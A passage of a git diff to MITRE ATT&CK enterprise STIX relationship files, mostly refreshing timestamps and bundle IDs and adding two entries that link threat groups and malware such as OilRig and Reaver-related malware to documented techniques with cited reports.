         {
@@ -8,7 +8,7 @@
             "id": "relationship--4de2ac9b-4e51-4d73-8fe3-d7d1659778b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware gathers a list of running processes.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--4de4a09b-5727-4462-b288-23278e74634e.json b/enterprise-attack/relationship/relationship--4de4a09b-5727-4462-b288-23278e74634e.json
index 1463eafc12..cb7620a215 100644
--- a/enterprise-attack/relationship/relationship--4de4a09b-5727-4462-b288-23278e74634e.json
+++ b/enterprise-attack/relationship/relationship--4de4a09b-5727-4462-b288-23278e74634e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c89f4349-940c-410c-bcf5-4643e657cab3",
+    "id": "bundle--ea68a45b-2a3d-4030-a419-cb9dfb77c472",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4de4a09b-5727-4462-b288-23278e74634e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has executed malicious .bat files containing PowerShell commands.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
diff --git a/enterprise-attack/relationship/relationship--4e167937-d152-4c57-a7b7-e3b407470720.json b/enterprise-attack/relationship/relationship--4e167937-d152-4c57-a7b7-e3b407470720.json
index b147686958..f4ca17a037 100644
--- a/enterprise-attack/relationship/relationship--4e167937-d152-4c57-a7b7-e3b407470720.json
+++ b/enterprise-attack/relationship/relationship--4e167937-d152-4c57-a7b7-e3b407470720.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--05793af0-096d-4a1f-8207-159485be614f",
+    "id": "bundle--5556dbce-ec07-4d8f-a07b-f24810e7e798",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4e167937-d152-4c57-a7b7-e3b407470720",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The <code>net use \\\\system\\share /delete</code> command can be used in Net to remove an established connection to a network share.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--4e5dff55-c686-4fa6-bad1-caa8507083d9.json b/enterprise-attack/relationship/relationship--4e5dff55-c686-4fa6-bad1-caa8507083d9.json
index 2bc4398d77..16afc16be0 100644
--- a/enterprise-attack/relationship/relationship--4e5dff55-c686-4fa6-bad1-caa8507083d9.json
+++ b/enterprise-attack/relationship/relationship--4e5dff55-c686-4fa6-bad1-caa8507083d9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c9f9419a-3af1-4777-a264-956fc0c97dea",
+    "id": "bundle--d2554854-8bf6-492a-b185-9700d2b1bcdb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4e5dff55-c686-4fa6-bad1-caa8507083d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula encodes C2 traffic with single-byte XOR keys.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
diff --git a/enterprise-attack/relationship/relationship--4e9c5234-65e9-4b4a-bc13-891e7aed84b2.json b/enterprise-attack/relationship/relationship--4e9c5234-65e9-4b4a-bc13-891e7aed84b2.json
index 496df82e40..db67f606b3 100644
--- a/enterprise-attack/relationship/relationship--4e9c5234-65e9-4b4a-bc13-891e7aed84b2.json
+++ b/enterprise-attack/relationship/relationship--4e9c5234-65e9-4b4a-bc13-891e7aed84b2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc196d39-97e6-4934-afaf-437ad04a802e",
+    "id": "bundle--a3bc7f1b-5c28-4c94-8bf0-f2f12d299b0e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4e9c5234-65e9-4b4a-bc13-891e7aed84b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon creates a new service named \u201cntssrv\u201d to execute the payload.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--4ec9a523-e27f-4984-9bde-4af785e5e75a.json b/enterprise-attack/relationship/relationship--4ec9a523-e27f-4984-9bde-4af785e5e75a.json
index e0c20f8845..39513ba0bc 100644
--- a/enterprise-attack/relationship/relationship--4ec9a523-e27f-4984-9bde-4af785e5e75a.json
+++ b/enterprise-attack/relationship/relationship--4ec9a523-e27f-4984-9bde-4af785e5e75a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e062bce8-e2f0-43f6-8d0f-3a87e4348b9d",
+    "id": "bundle--a70a4d25-900c-4522-9817-586de57572b6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4ec9a523-e27f-4984-9bde-4af785e5e75a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Responses from the Pisloader C2 server are base32-encoded.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
diff --git a/enterprise-attack/relationship/relationship--4ee54acd-fc04-43c2-8cf6-2200a802d0b9.json b/enterprise-attack/relationship/relationship--4ee54acd-fc04-43c2-8cf6-2200a802d0b9.json
index bdde45820f..1c6c501771 100644
--- a/enterprise-attack/relationship/relationship--4ee54acd-fc04-43c2-8cf6-2200a802d0b9.json
+++ b/enterprise-attack/relationship/relationship--4ee54acd-fc04-43c2-8cf6-2200a802d0b9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--578929dd-9506-47d6-a742-a1658c982cc0",
+    "id": "bundle--f8c10613-cc12-4d7c-b914-ee2d0ba4d70b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4ee54acd-fc04-43c2-8cf6-2200a802d0b9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec is capable of using ICMP, TCP, and UDP for C2.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--4eec017c-8bf2-4eda-8c92-15926fc7e5aa.json b/enterprise-attack/relationship/relationship--4eec017c-8bf2-4eda-8c92-15926fc7e5aa.json
index 328170c9aa..39a4297303 100644
--- a/enterprise-attack/relationship/relationship--4eec017c-8bf2-4eda-8c92-15926fc7e5aa.json
+++ b/enterprise-attack/relationship/relationship--4eec017c-8bf2-4eda-8c92-15926fc7e5aa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a388b724-2c2f-4a22-aac8-9ff872268b3e",
+    "id": "bundle--aca5c193-16bc-46a7-8f2a-f2b032167c4d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4eec017c-8bf2-4eda-8c92-15926fc7e5aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several Lazarus Group malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--4f08676f-51c1-4cb5-94a7-08922e4886c6.json b/enterprise-attack/relationship/relationship--4f08676f-51c1-4cb5-94a7-08922e4886c6.json
index 4a7e17903c..d30e137b8d 100644
--- a/enterprise-attack/relationship/relationship--4f08676f-51c1-4cb5-94a7-08922e4886c6.json
+++ b/enterprise-attack/relationship/relationship--4f08676f-51c1-4cb5-94a7-08922e4886c6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--999de5c9-5ab3-4f86-b081-6e8d9033dba9",
+    "id": "bundle--f28c2edb-c3e2-4f45-aba8-aa73533946ac",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4f08676f-51c1-4cb5-94a7-08922e4886c6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hi-Zor creates a Registry Run key to establish persistence.",
             "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
diff --git a/enterprise-attack/relationship/relationship--4f2dbf3d-70f6-42d9-8894-c98d8bc70abc.json b/enterprise-attack/relationship/relationship--4f2dbf3d-70f6-42d9-8894-c98d8bc70abc.json
index fe2fb161f4..50a7a33309 100644
--- a/enterprise-attack/relationship/relationship--4f2dbf3d-70f6-42d9-8894-c98d8bc70abc.json
+++ b/enterprise-attack/relationship/relationship--4f2dbf3d-70f6-42d9-8894-c98d8bc70abc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7bafb30a-c48c-4e3b-a274-3c8b3e421e83",
+    "id": "bundle--eb0a8f97-74ef-4f4a-9ea7-dc114f5d45d2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4f2dbf3d-70f6-42d9-8894-c98d8bc70abc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.025Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--7a14d974-f3d9-4e4e-9b7d-980385762908",
             "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
diff --git a/enterprise-attack/relationship/relationship--4f33536d-eb06-4eba-8765-4379e399f3b8.json b/enterprise-attack/relationship/relationship--4f33536d-eb06-4eba-8765-4379e399f3b8.json
index c8a6bf4ba8..356e1293c0 100644
--- a/enterprise-attack/relationship/relationship--4f33536d-eb06-4eba-8765-4379e399f3b8.json
+++ b/enterprise-attack/relationship/relationship--4f33536d-eb06-4eba-8765-4379e399f3b8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8e970bde-940f-4928-982f-e87116587950",
+    "id": "bundle--cb8df63c-ddeb-41f5-b38f-46133db2b344",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4f33536d-eb06-4eba-8765-4379e399f3b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.080Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
             "target_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
diff --git a/enterprise-attack/relationship/relationship--4f3473a4-f5f5-43d8-a4ec-589763695942.json b/enterprise-attack/relationship/relationship--4f3473a4-f5f5-43d8-a4ec-589763695942.json
index c87898b2c3..840aabd2bd 100644
--- a/enterprise-attack/relationship/relationship--4f3473a4-f5f5-43d8-a4ec-589763695942.json
+++ b/enterprise-attack/relationship/relationship--4f3473a4-f5f5-43d8-a4ec-589763695942.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ca3e140f-f6b9-42cf-abf6-b61da5b9f262",
+    "id": "bundle--15fa1bec-aacf-47d0-bd0f-5a4b9d4cb354",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4f3473a4-f5f5-43d8-a4ec-589763695942",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Derusbi variants have been seen that use Registry persistence to proxy execution through regsvr32.exe.",
             "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
diff --git a/enterprise-attack/relationship/relationship--4fa2cbf0-9721-4bbe-86b4-334848cd3dd6.json b/enterprise-attack/relationship/relationship--4fa2cbf0-9721-4bbe-86b4-334848cd3dd6.json
index 5e6a9ce48c..344a8bc168 100644
--- a/enterprise-attack/relationship/relationship--4fa2cbf0-9721-4bbe-86b4-334848cd3dd6.json
+++ b/enterprise-attack/relationship/relationship--4fa2cbf0-9721-4bbe-86b4-334848cd3dd6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--327e94ae-18af-432e-9032-13194bc4ee60",
+    "id": "bundle--19cc5dd2-1c85-48d5-bc63-361bb5c24118",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4fa2cbf0-9721-4bbe-86b4-334848cd3dd6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.028Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--5c167af7-c2cb-42c8-ae67-3fb275bf8488",
             "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
diff --git a/enterprise-attack/relationship/relationship--4fab8d06-e6fb-472f-91ee-f2fd29ef444e.json b/enterprise-attack/relationship/relationship--4fab8d06-e6fb-472f-91ee-f2fd29ef444e.json
index 81df3d3595..4de011ebc4 100644
--- a/enterprise-attack/relationship/relationship--4fab8d06-e6fb-472f-91ee-f2fd29ef444e.json
+++ b/enterprise-attack/relationship/relationship--4fab8d06-e6fb-472f-91ee-f2fd29ef444e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--352139b7-d5b2-48fe-99b4-a3249b8e1b1e",
+    "id": "bundle--62449f62-5c0e-47b3-b989-6094acb0c1e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4fab8d06-e6fb-472f-91ee-f2fd29ef444e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda has used regsvr32.exe to execute a server variant of Derusbi in victim networks.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
diff --git a/enterprise-attack/relationship/relationship--4fde23ab-b8db-4275-ac37-37e608cb00b0.json b/enterprise-attack/relationship/relationship--4fde23ab-b8db-4275-ac37-37e608cb00b0.json
new file mode 100644
index 0000000000..380f8366dc
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--4fde23ab-b8db-4275-ac37-37e608cb00b0.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--47ff7cec-4afb-49f1-892c-f6cd3ba77391",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--4fde23ab-b8db-4275-ac37-37e608cb00b0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "A OilRig macro has run a PowerShell command to decode file contents.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "external_references": [
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--4ffcf69a-c7ef-46dc-add7-9093e454a67e.json b/enterprise-attack/relationship/relationship--4ffcf69a-c7ef-46dc-add7-9093e454a67e.json
index 00fdc0036b..f2ce1e9eea 100644
--- a/enterprise-attack/relationship/relationship--4ffcf69a-c7ef-46dc-add7-9093e454a67e.json
+++ b/enterprise-attack/relationship/relationship--4ffcf69a-c7ef-46dc-add7-9093e454a67e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e47b36a7-a043-4b31-88c4-911e64404cd9",
+    "id": "bundle--86e8fd3d-3139-4f01-91e8-c7c0560c106c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4ffcf69a-c7ef-46dc-add7-9093e454a67e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder exfiltrates data to its C2 server over the same protocol as C2 communications.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
diff --git a/enterprise-attack/relationship/relationship--4ffe2425-c971-45e5-9256-0b1a2bf63bbf.json b/enterprise-attack/relationship/relationship--4ffe2425-c971-45e5-9256-0b1a2bf63bbf.json
index c0fdb46b3a..5809fe5a11 100644
--- a/enterprise-attack/relationship/relationship--4ffe2425-c971-45e5-9256-0b1a2bf63bbf.json
+++ b/enterprise-attack/relationship/relationship--4ffe2425-c971-45e5-9256-0b1a2bf63bbf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2ec21e98-9e9b-4f73-8349-db13f5e1e300",
+    "id": "bundle--4a71dc0d-4239-415a-9a42-50b88c0e8663",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--4ffe2425-c971-45e5-9256-0b1a2bf63bbf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mis-Type saves itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service.",
             "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
diff --git a/enterprise-attack/relationship/relationship--500130c0-d049-4e67-9bcc-d60a5f6dfd4c.json b/enterprise-attack/relationship/relationship--500130c0-d049-4e67-9bcc-d60a5f6dfd4c.json
index 5c60675eb0..2fa6e2e43f 100644
--- a/enterprise-attack/relationship/relationship--500130c0-d049-4e67-9bcc-d60a5f6dfd4c.json
+++ b/enterprise-attack/relationship/relationship--500130c0-d049-4e67-9bcc-d60a5f6dfd4c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--169ce95a-d266-417c-9f34-b23e47a367ab",
+    "id": "bundle--4cb9e1ec-e0d8-415f-a524-d1214a3675ba",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--500130c0-d049-4e67-9bcc-d60a5f6dfd4c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.069Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware SierraAlfa and WhiskeyAlfa-Three enumerate logged-on users. Lazarus Group malware IndiaIndia collects the victim's username and sends it to the C2 server.\n",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--50271beb-48b1-411e-86b5-990b4cbb1fb5.json b/enterprise-attack/relationship/relationship--50271beb-48b1-411e-86b5-990b4cbb1fb5.json
index c02fba4017..465395f9fb 100644
--- a/enterprise-attack/relationship/relationship--50271beb-48b1-411e-86b5-990b4cbb1fb5.json
+++ b/enterprise-attack/relationship/relationship--50271beb-48b1-411e-86b5-990b4cbb1fb5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d7df8421-9065-4d8b-bc11-bad1ae2a335a",
+    "id": "bundle--a5eb82fd-43c9-48bf-8f6e-cbb48e5bc2b0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--50271beb-48b1-411e-86b5-990b4cbb1fb5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib has the ability to enumerate files and drives.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
diff --git a/enterprise-attack/relationship/relationship--5033a0a2-ef95-4ec6-b5ac-d7cfbd7be9f0.json b/enterprise-attack/relationship/relationship--5033a0a2-ef95-4ec6-b5ac-d7cfbd7be9f0.json
index 99fdcf0f8a..1033266193 100644
--- a/enterprise-attack/relationship/relationship--5033a0a2-ef95-4ec6-b5ac-d7cfbd7be9f0.json
+++ b/enterprise-attack/relationship/relationship--5033a0a2-ef95-4ec6-b5ac-d7cfbd7be9f0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--06412912-14a1-4f6d-be97-2e78634655d8",
+    "id": "bundle--a0c7e0a1-fa7a-4730-ab21-b38eb27b819a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5033a0a2-ef95-4ec6-b5ac-d7cfbd7be9f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka gathers logins and passwords stored in applications on the victims, including Google Chrome, Mozilla Firefox, and several other browsers.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--506acc8a-e691-4f4e-b69f-bfab84cf2c73.json b/enterprise-attack/relationship/relationship--506acc8a-e691-4f4e-b69f-bfab84cf2c73.json
index 1d452ae373..eac2a11c19 100644
--- a/enterprise-attack/relationship/relationship--506acc8a-e691-4f4e-b69f-bfab84cf2c73.json
+++ b/enterprise-attack/relationship/relationship--506acc8a-e691-4f4e-b69f-bfab84cf2c73.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--09efc4b8-439e-4111-8c5d-a0120e4b977e",
+    "id": "bundle--04574fd2-1477-4bbe-920b-fcce9d0067db",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--506acc8a-e691-4f4e-b69f-bfab84cf2c73",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN7 has used application shim databases for persistence.",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
diff --git a/enterprise-attack/relationship/relationship--5077f774-95a4-459e-b88c-cb3a4dd5c8c6.json b/enterprise-attack/relationship/relationship--5077f774-95a4-459e-b88c-cb3a4dd5c8c6.json
new file mode 100644
index 0000000000..0e76e28069
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--5077f774-95a4-459e-b88c-cb3a4dd5c8c6.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--422886c6-d63b-436e-8e68-41343f55f70d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--5077f774-95a4-459e-b88c-cb3a4dd5c8c6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "encrypts some of its files with XOR.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--50f39180-6e5a-476b-b18f-d4e09e83c9d9.json b/enterprise-attack/relationship/relationship--50f39180-6e5a-476b-b18f-d4e09e83c9d9.json
index b2f55cb6ec..f39f78f229 100644
--- a/enterprise-attack/relationship/relationship--50f39180-6e5a-476b-b18f-d4e09e83c9d9.json
+++ b/enterprise-attack/relationship/relationship--50f39180-6e5a-476b-b18f-d4e09e83c9d9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9c4b10e2-7efd-4912-9750-6773d44de3f4",
+    "id": "bundle--bfbc92f0-a3aa-47f8-be2b-f858a99ef322",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--50f39180-6e5a-476b-b18f-d4e09e83c9d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pteranodon can use HTTP for C2.",
             "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
diff --git a/enterprise-attack/relationship/relationship--51006a56-a1fa-4467-b930-6488de0d32bd.json b/enterprise-attack/relationship/relationship--51006a56-a1fa-4467-b930-6488de0d32bd.json
index 984891a6ad..50a1da9ba2 100644
--- a/enterprise-attack/relationship/relationship--51006a56-a1fa-4467-b930-6488de0d32bd.json
+++ b/enterprise-attack/relationship/relationship--51006a56-a1fa-4467-b930-6488de0d32bd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--87e5059f-cefa-48b2-bf80-307b7aee5907",
+    "id": "bundle--995d2b70-7521-45b8-97a8-2d5dcfd46856",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--51006a56-a1fa-4467-b930-6488de0d32bd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Equation group is known to have the capability to overwrite the firmware on hard drives from some manufacturers.",
             "source_ref": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9",
diff --git a/enterprise-attack/relationship/relationship--510c2f8c-4570-4c19-8c36-7004f8bbf561.json b/enterprise-attack/relationship/relationship--510c2f8c-4570-4c19-8c36-7004f8bbf561.json
index cb6cb8b3e4..7cf64c2c50 100644
--- a/enterprise-attack/relationship/relationship--510c2f8c-4570-4c19-8c36-7004f8bbf561.json
+++ b/enterprise-attack/relationship/relationship--510c2f8c-4570-4c19-8c36-7004f8bbf561.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
